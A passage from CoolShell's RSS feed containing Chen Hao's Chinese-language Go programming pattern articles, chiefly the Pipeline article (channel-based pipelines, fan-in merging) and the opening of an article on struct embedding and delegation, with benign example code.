<code>kubectl</code> 的代码中，你看懂了这里面的代码逻辑，相信你也能够看懂 <code>kubectl</code> 的代码了。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/09/go-generics-150x150.png\" alt=\"Go编程模式 ： 泛型编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_title\">Go编程模式 ： 泛型编程</a></li><li ><a href=\"https://coolshell.cn/articles/21228.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.line_.-150x150.png\" alt=\"Go编程模式：Pipeline\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21228.html\" class=\"wp_rp_title\">Go编程模式：Pipeline</a></li><li ><a href=\"https://coolshell.cn/articles/21214.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.pair_-150x150.png\" alt=\"Go编程模式：委托和反转控制\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21214.html\" class=\"wp_rp_title\">Go编程模式：委托和反转控制</a></li><li ><a href=\"https://coolshell.cn/articles/21179.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.generate-150x150.png\" alt=\"Go 编程模式：Go Generation\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21179.html\" class=\"wp_rp_title\">Go 编程模式：Go Generation</a></li><li ><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" alt=\"Go编程模式：Map-Reduce\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_title\">Go编程模式：Map-Reduce</a></li><li ><a href=\"https://coolshell.cn/articles/21146.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.options-150x150.png\" alt=\"Go 编程模式：Functional Options\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21146.html\" class=\"wp_rp_title\">Go 编程模式：Functional Options</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/21263.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>19</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Go编程模式：Pipeline</title>\n\t\t<link>https://coolshell.cn/articles/21228.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/21228.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 26 Dec 2020 09:04:59 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Go 语言]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[channel]]></category>\n\t\t<category><![CDATA[Go]]></category>\n\t\t<category><![CDATA[golang]]></category>\n\t\t<category><![CDATA[pipeline]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=21228</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>本篇文章，我们着重介绍Go编程中的Pipeline模式。对于Pipeline用过Unix/Linux命令行的人都不会陌生，他是一种把各种命令拼接起来完成一个更强...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/21228.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-21258 size-large\" src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.line_.-1024x191.png\" alt=\"\" width=\"640\" height=\"119\" srcset=\"https://coolshell.cn/wp-content/uploads/2020/12/go.line_.-1024x191.png 1024w, https://coolshell.cn/wp-content/uploads/2020/12/go.line_.-300x56.png 300w, https://coolshell.cn/wp-content/uploads/2020/12/go.line_.-768x143.png 768w, https://coolshell.cn/wp-content/uploads/2020/12/go.line_.-1536x286.png 1536w, https://coolshell.cn/wp-content/uploads/2020/12/go.line_.-604x113.png 604w, https://coolshell.cn/wp-content/uploads/2020/12/go.line_..png 1920w\" sizes=\"(max-width: 640px) 100vw, 640px\" /></p>\n<p>本篇文章，我们着重介绍Go编程中的Pipeline模式。对于Pipeline用过Unix/Linux命令行的人都不会陌生，他是一种把各种命令拼接起来完成一个更强功能的技术方法。在今天，流式处理，函数式编程，以及应用网关对微服务进行简单的API编排，其实都是受pipeline这种技术方式的影响，Pipeline这种技术在可以很容易的把代码按单一职责的原则拆分成多个高内聚低耦合的小模块，然后可以很方便地拼装起来去完成比较复杂的功能。</p>\n<section class=\"post-series\"><h3 class=\"post-series-title\">本文是全系列中第8 / 10篇：<a href=\"https://coolshell.cn/articles/series/go%e7%bc%96%e7%a8%8b%e6%a8%a1%e5%bc%8f\">Go编程模式</a></h3><ul class=\"post-series-list\"><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21128.html\">Go编程模式：切片，接口，时间和性能</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21140.html\">Go 编程模式：错误处理</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21146.html\">Go 编程模式：Functional Options</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a></span></li><li class=\"post-series-item-current post-series-item\"><span class=\"post-series-item-title\">Go编程模式：Pipeline</span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></span></li></ul><nav class=\"post-series-nav\"><span class=\"post-series-nav-prev\">&laquo; <a href=\"https://coolshell.cn/articles/17929.html\" rel=\"prev\" title=\"Go编程模式：修饰器\">上一篇文章</a></span><span class=\"post-series-nav-next\"><a href=\"https://coolshell.cn/articles/21263.html\" rel=\"next\" title=\"Go 编程模式：k8s Visitor 模式\">下一篇文章</a> &raquo;</span></nav></section>\n<h4>HTTP 处理</h4>\n<p>这种Pipeline的模式，我们在《<a title=\"Go编程模式：修饰器\" href=\"https://coolshell.cn/articles/17929.html\" target=\"_blank\" rel=\"noopener\">Go编程模式：修饰器</a>》中有过一个示例，我们在这里再重温一下。在那篇文章中，我们有一堆如 <code>WithServerHead()</code> 、<code>WithBasicAuth()</code> 、<code>WithDebugLog()</code>这样的小功能代码，在我们需要实现某个HTTP API 的时候，我们就可以很容易的组织起来。</p>\n<p>原来的代码是下面这个样子：</p>\n<p><span id=\"more-21228\"></span></p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">http.HandleFunc(\"/v1/hello\", WithServerHeader(WithAuthCookie(hello)))\nhttp.HandleFunc(\"/v2/hello\", WithServerHeader(WithBasicAuth(hello)))\nhttp.HandleFunc(\"/v3/hello\", WithServerHeader(WithBasicAuth(WithDebugLog(hello))))</pre>\n<p>通过一个代理函数：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">type HttpHandlerDecorator func(http.HandlerFunc) http.HandlerFunc\nfunc Handler(h http.HandlerFunc, decors ...HttpHandlerDecorator) http.HandlerFunc {\n    for i := range decors {\n        d := decors[len(decors)-1-i] // iterate in reverse\n        h = d(h)\n    }\n    return h\n}</pre>\n<p>我们就可以移除不断的嵌套像下面这样使用了：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">http.HandleFunc(\"/v4/hello\", Handler(hello,\n                WithServerHeader, WithBasicAuth, WithDebugLog))</pre>\n<h4>Channel 管理</h4>\n<p>当然，如果你要写出一个<a href=\"https://coolshell.cn/articles/17929.html#%E6%B3%9B%E5%9E%8B%E7%9A%84%E4%BF%AE%E9%A5%B0%E5%99%A8\" target=\"_blank\" rel=\"noopener\">泛型的pipeline框架</a>并不容易，而使用<a title=\"GO 编程模式：Go Generation\" href=\"https://coolshell.cn/articles/21179.html\" target=\"_blank\" rel=\"noopener\">Go Generation</a>，但是，我们别忘了Go语言最具特色的 Go Routine 和 Channel 这两个神器完全也可以被我们用来构造这种编程。</p>\n<p>Rob Pike在 <a href=\"https://blog.golang.org/pipelines\" target=\"_blank\" rel=\"noopener\">Go Concurrency Patterns: Pipelines and cancellation</a> 这篇blog中介绍了如下的一种编程模式。</p>\n<h5>Channel转发函数</h5>\n<p>首先，我们需一个 <code>echo()</code>函数，其会把一个整型数组放到一个Channel中，并返回这个Channel</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func echo(nums []int) &lt;-chan int {\n  out := make(chan int)\n  go func() {\n    for _, n := range nums {\n      out &lt;- n\n    }\n    close(out)\n  }()\n  return out\n}</pre>\n<p>然后，我们依照这个模式，我们可以写下这个函数。</p>\n<h5>平方函数</h5>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func sq(in &lt;-chan int) &lt;-chan int {\n  out := make(chan int)\n  go func() {\n    for n := range in {\n      out &lt;- n * n\n    }\n    close(out)\n  }()\n  return out\n}\n</pre>\n<h5>过滤奇数函数</h5>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func odd(in &lt;-chan int) &lt;-chan int {\n  out := make(chan int)\n  go func() {\n    for n := range in {\n      if n%2 != 0 {\n        out &lt;- n\n      }\n    }\n    close(out)\n  }()\n  return out\n}\n</pre>\n<h5>求和函数</h5>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func sum(in &lt;-chan int) &lt;-chan int {\n  out := make(chan int)\n  go func() {\n    var sum = 0\n    for n := range in {\n      sum += n\n    }\n    out &lt;- sum\n    close(out)\n  }()\n  return out\n}</pre>\n<p>然后，我们的用户端的代码如下所示：（注：<strong>你可能会觉得，<code>sum()</code>，<code>odd()</code> 和 <code>sq()</code>太过于相似。你其实可以通过我们之前的<a href=\"https://coolshell.cn/articles/21164.html\" target=\"_blank\" rel=\"noopener\">Map/Reduce编程模式</a>或是<a href=\"https://coolshell.cn/articles/21179.html\" target=\"_blank\" rel=\"noopener\">Go Generation的方式</a>来合并一下</strong>）</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">var nums = []int{1, 2, 3, 4, 5, 6, 7, 8, 9, 10}\nfor n := range sum(sq(odd(echo(nums)))) {\n  fmt.Println(n)\n}</pre>\n<p>上面的代码类似于我们执行了Unix/Linux命令： <code>echo $nums | sq | sum</code></p>\n<p>同样，如果你不想有那么多的函数嵌套，你可以使用一个代理函数来完成。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">type EchoFunc func ([]int) (&lt;- chan int) \ntype PipeFunc func (&lt;- chan int) (&lt;- chan int) \n\nfunc pipeline(nums []int, echo EchoFunc, pipeFns ... PipeFunc) &lt;- chan int {\n  ch  := echo(nums)\n  for i := range pipeFns {\n    ch = pipeFns[i](ch)\n  }\n  return ch\n}</pre>\n<p>然后，就可以这样做了：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">var nums = []int{1, 2, 3, 4, 5, 6, 7, 8, 9, 10}    \nfor n := range pipeline(nums, gen, odd, sq, sum) {\n    fmt.Println(n)\n  }</pre>\n<h4>Fan in/Out</h4>\n<p>动用Go语言的 Go Routine和 Channel还有一个好处，就是可以写出1对多，或多对1的pipeline，也就是Fan In/ Fan Out。下面，我们来看一个Fan in的示例：</p>\n<p>我们想通过并发的方式来对一个很长的数组中的质数进行求和运算，我们想先把数组分段求和，然后再把其集中起来。</p>\n<p>下面是我们的主函数：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func makeRange(min, max int) []int {\n  a := make([]int, max-min+1)\n  for i := range a {\n    a[i] = min + i\n  }\n  return a\n}\n\nfunc main() {\n  nums := makeRange(1, 10000)\n  in := echo(nums)\n\n  const nProcess = 5\n  var chans [nProcess]&lt;-chan int\n  for i := range chans {\n    chans[i] = sum(prime(in))\n  }\n\n  for n := range sum(merge(chans[:])) {\n    fmt.Println(n)\n  }\n}</pre>\n<p>再看我们的 <code>prime()</code> 函数的实现 ：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func is_prime(value int) bool {\n  for i := 2; i &lt;= int(math.Floor(float64(value) / 2)); i++ {\n    if value%i == 0 {\n      return false\n    }\n  }\n  return value &gt; 1\n}\n\nfunc prime(in &lt;-chan int) &lt;-chan int {\n  out := make(chan int)\n  go func ()  {\n    for n := range in {\n      if is_prime(n) {\n        out &lt;- n\n      }\n    }\n    close(out)\n  }()\n  return out\n}</pre>\n<p>我们可以看到，</p>\n<ul>\n<li>我们先制造了从1到10000的一个数组，</li>\n<li>然后，把这堆数组全部 <code>echo</code>到一个channel里 &#8211; <code>in</code></li>\n<li>此时，生成 5 个 Channel，然后都调用 <code>sum(prime(in))</code> ，于是每个Sum的Go Routine都会开始计算和</li>\n<li>最后再把所有的结果再求和拼起来，得到最终的结果。</li>\n</ul>\n<p>其中的merge代码如下：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func merge(cs []&lt;-chan int) &lt;-chan int {\n  var wg sync.WaitGroup\n  out := make(chan int)\n\n  wg.Add(len(cs))\n  for _, c := range cs {\n    go func(c &lt;-chan int) {\n      for n := range c {\n        out &lt;- n\n      }\n      wg.Done()\n    }(c)\n  }\n  go func() {\n    wg.Wait()\n    close(out)\n  }()\n  return out\n}</pre>\n<p>用图片表示一下，整个程序的结构如下所示：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-large wp-image-21231\" src=\"https://coolshell.cn/wp-content/uploads/2020/12/pipeline-1024x425.png\" alt=\"\" width=\"640\" height=\"266\" srcset=\"https://coolshell.cn/wp-content/uploads/2020/12/pipeline-1024x425.png 1024w, https://coolshell.cn/wp-content/uploads/2020/12/pipeline-300x124.png 300w, https://coolshell.cn/wp-content/uploads/2020/12/pipeline-768x319.png 768w, https://coolshell.cn/wp-content/uploads/2020/12/pipeline-1536x637.png 1536w, https://coolshell.cn/wp-content/uploads/2020/12/pipeline-604x251.png 604w, https://coolshell.cn/wp-content/uploads/2020/12/pipeline.png 1572w\" sizes=\"(max-width: 640px) 100vw, 640px\" /></p>\n<h4>延伸阅读</h4>\n<p>如果你还想了解更多的这样的与并发相关的技术，可以参看下面这些资源：</p>\n<ul>\n<li><b>Go</b> <b>Concurrency</b> <b>Patterns</b><b></b> &#8211; <b>Rob</b> <b>Pike &#8211;</b> 2012 Google I/O <b><br />\n</b>presents the basics of Go‘s concurrency primitives and several ways to apply them.<br />\n<u><a href=\"https://www.youtube.com/watch?v=f6kdp27TYZs\">https://www.youtube.com/watch?v=f6kdp27TYZs</a></u></li>\n<li><b>Advanced Go Concurrency Patterns </b>&#8211; <b>Rob</b> <b>Pike</b> – 2013 Google I/O <b><br />\n</b>covers more complex uses of Go&#8217;s primitives, especially select.<br />\n<a href=\"https://blog.golang.org/advanced-go-concurrency-patterns\">https://blog.golang.org/advanced-go-concurrency-patterns</a></li>\n<li><b>Squinting at Power Series </b>&#8211; <b>Douglas McIlroy</b>‘s paper <b><br />\n</b>shows how Go-like concurrency provides elegant support for complex calculations.<br />\n<a href=\"https://swtch.com/~rsc/thread/squint.pdf\">https://swtch.com/~rsc/thread/squint.pdf</a></li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/09/go-generics-150x150.png\" alt=\"Go编程模式 ： 泛型编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_title\">Go编程模式 ： 泛型编程</a></li><li ><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.k8s-150x150.png\" alt=\"Go 编程模式：k8s Visitor 模式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_title\">Go 编程模式：k8s Visitor 模式</a></li><li ><a href=\"https://coolshell.cn/articles/21214.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.pair_-150x150.png\" alt=\"Go编程模式：委托和反转控制\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21214.html\" class=\"wp_rp_title\">Go编程模式：委托和反转控制</a></li><li ><a href=\"https://coolshell.cn/articles/21179.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.generate-150x150.png\" alt=\"Go 编程模式：Go Generation\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21179.html\" class=\"wp_rp_title\">Go 编程模式：Go Generation</a></li><li ><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" alt=\"Go编程模式：Map-Reduce\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_title\">Go编程模式：Map-Reduce</a></li><li ><a href=\"https://coolshell.cn/articles/21146.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.options-150x150.png\" alt=\"Go 编程模式：Functional Options\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21146.html\" class=\"wp_rp_title\">Go 编程模式：Functional Options</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/21228.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>14</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Go编程模式：委托和反转控制</title>\n\t\t<link>https://coolshell.cn/articles/21214.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/21214.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 26 Dec 2020 08:57:48 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Go 语言]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Go]]></category>\n\t\t<category><![CDATA[golang]]></category>\n\t\t<category><![CDATA[IoC]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=21214</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>反转控制IoC &#8211; Inversion of Control 是一种软件设计的方法，其主要的思想是把控制逻辑与业务逻辑分享，不要在业务逻辑里写控制逻...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/21214.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><figure id=\"attachment_21256\" aria-describedby=\"caption-attachment-21256\" style=\"width: 300px\" class=\"wp-caption alignright\"><img decoding=\"async\" loading=\"lazy\" class=\"wp-image-21256 size-medium\" src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.pair_-300x298.png\" alt=\"\" width=\"300\" height=\"298\" srcset=\"https://coolshell.cn/wp-content/uploads/2020/12/go.pair_-300x298.png 300w, https://coolshell.cn/wp-content/uploads/2020/12/go.pair_-1024x1017.png 1024w, https://coolshell.cn/wp-content/uploads/2020/12/go.pair_-150x150.png 150w, https://coolshell.cn/wp-content/uploads/2020/12/go.pair_-768x762.png 768w, https://coolshell.cn/wp-content/uploads/2020/12/go.pair_-1536x1525.png 1536w, https://coolshell.cn/wp-content/uploads/2020/12/go.pair_-2048x2033.png 2048w, https://coolshell.cn/wp-content/uploads/2020/12/go.pair_-272x270.png 272w\" sizes=\"(max-width: 300px) 100vw, 300px\" /><figcaption id=\"caption-attachment-21256\" class=\"wp-caption-text\">图片来源：<a href=\"https://gophersource.com/\" target=\"_blank\" rel=\"noopener\">GopherSource</a></figcaption></figure></p>\n<p>反转控制<a title=\"IoC - Inversion of Control\" href=\"https://en.wikipedia.org/wiki/Inversion_of_control\" target=\"_blank\" rel=\"noopener\">IoC &#8211; Inversion of Control</a> 是一种软件设计的方法，其主要的思想是把控制逻辑与业务逻辑分享，不要在业务逻辑里写控制逻辑，这样会让控制逻辑依赖于业务逻辑，而是反过来，让业务逻辑依赖控制逻辑。在《<a href=\"https://coolshell.cn/articles/9949.html\" target=\"_blank\" rel=\"noopener\">IoC/DIP其实是一种管理思想</a>》中的那个开关和电灯的示例一样，开关是控制逻辑，电器是业务逻辑，不要在电器中实现开关，而是把开关抽象成一种协议，让电器都依赖之。这样的编程方式可以有效的降低程序复杂度，并提升代码重用。</p>\n<section class=\"post-series\"><h3 class=\"post-series-title\">本文是全系列中第4 / 10篇：<a href=\"https://coolshell.cn/articles/series/go%e7%bc%96%e7%a8%8b%e6%a8%a1%e5%bc%8f\">Go编程模式</a></h3><ul class=\"post-series-list\"><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21128.html\">Go编程模式：切片，接口，时间和性能</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21140.html\">Go 编程模式：错误处理</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21146.html\">Go 编程模式：Functional Options</a></span></li><li class=\"post-series-item-current post-series-item\"><span class=\"post-series-item-title\">Go编程模式：委托和反转控制</span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></span></li></ul><nav class=\"post-series-nav\"><span class=\"post-series-nav-prev\">&laquo; <a href=\"https://coolshell.cn/articles/21146.html\" rel=\"prev\" title=\"Go 编程模式：Functional Options\">上一篇文章</a></span><span class=\"post-series-nav-next\"><a href=\"https://coolshell.cn/articles/21164.html\" rel=\"next\" title=\"Go编程模式：Map-Reduce\">下一篇文章</a> &raquo;</span></nav></section>\n<p>面向对象的设计模式这里不提了，我们来看看Go语言使用Embed结构的一个示例。</p>\n<p><span id=\"more-21214\"></span></p>\n<h4>嵌入和委托</h4>\n<h5>结构体嵌入</h5>\n<p>在Go语言中，我们可以很方便的把一个结构体给嵌到另一个结构体中。如下所示：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">type Widget struct {\n    X, Y int\n}\ntype Label struct {\n    Widget        // Embedding (delegation)\n    Text   string // Aggregation\n}</pre>\n<p>上面的示例中，我们把 <code>Widget</code>嵌入到了 <code>Label</code> 中，于是，我们可以这样使用：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">label := Label{Widget{10, 10}, \"State:\"}\n\nlabel.X = 11\nlabel.Y = 12</pre>\n<p>如果在 <code>Label</code> 结构体里出现了重名，就需要解决重名，例如，如果 成员 <code>X</code> 重名，用 <code>label.X</code>表明 是自己的<code>X</code> ，用  <code>label.Wedget.X</code> 表示嵌入过来的。</p>\n<p>有了这样的嵌入，就可以像UI组件一样的在结构构的设计上进行层层分解。比如，我可以新出来两个结构体 <code>Button</code> 和 <code>ListBox</code>：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">type Button struct {\n    Label // Embedding (delegation)\n}\n\ntype ListBox struct {\n    Widget          // Embedding (delegation)\n    Texts  []string // Aggregation\n    Index  int      // Aggregation\n}</pre>\n<h5>方法重写</h5>\n<p>然后，我们需要两个接口 <code>Painter</code> 用于把组件画出来，<code>Clicker</code> 用于表明点击事件：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">type Painter interface {\n    Paint()\n}\n \ntype Clicker interface {\n    Click()\n}</pre>\n<p>当然，</p>\n<ul>\n<li>对于 <code>Lable</code> 来说，只有 <code>Painter</code> ，没有<code>Clicker</code></li>\n<li>对于 <code>Button</code> 和 <code>ListBox</code>来说，<code>Painter</code> 和<code>Clicker</code>都有。</li>\n</ul>\n<p>下面是一些实现：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func (label Label) Paint() {\n  fmt.Printf(\"%p:Label.Paint(%q)\\n\", &amp;label, label.Text)\n}\n\n//因为这个接口可以通过 Label 的嵌入带到新的结构体，\n//所以，可以在 Button 中可以重载这个接口方法以\nfunc (button Button) Paint() { // Override\n    fmt.Printf(\"Button.Paint(%s)\\n\", button.Text)\n}\nfunc (button Button) Click() {\n    fmt.Printf(\"Button.Click(%s)\\n\", button.Text)\n}\n\n\nfunc (listBox ListBox) Paint() {\n    fmt.Printf(\"ListBox.Paint(%q)\\n\", listBox.Texts)\n}\nfunc (listBox ListBox) Click() {\n    fmt.Printf(\"ListBox.Click(%q)\\n\", listBox.Texts)\n}</pre>\n<p>这里，需要重点提示一下，<strong><code>Button.Paint()</code> 接口可以通过 Label 的嵌入带到新的结构体，如果 <code>Button.Paint()</code> 不实现的话，会调用 <code>Label.Paint()</code> ，所以，在 <code>Button</code> 中声明 <code>Paint()</code> 方法，相当于Override</strong>。</p>\n<h5>嵌入结构多态</h5>\n<p>通过下面的程序可以看到，整个多态是怎么执行的。</p>\n<pre class=\"EnlighterJSRAW\" 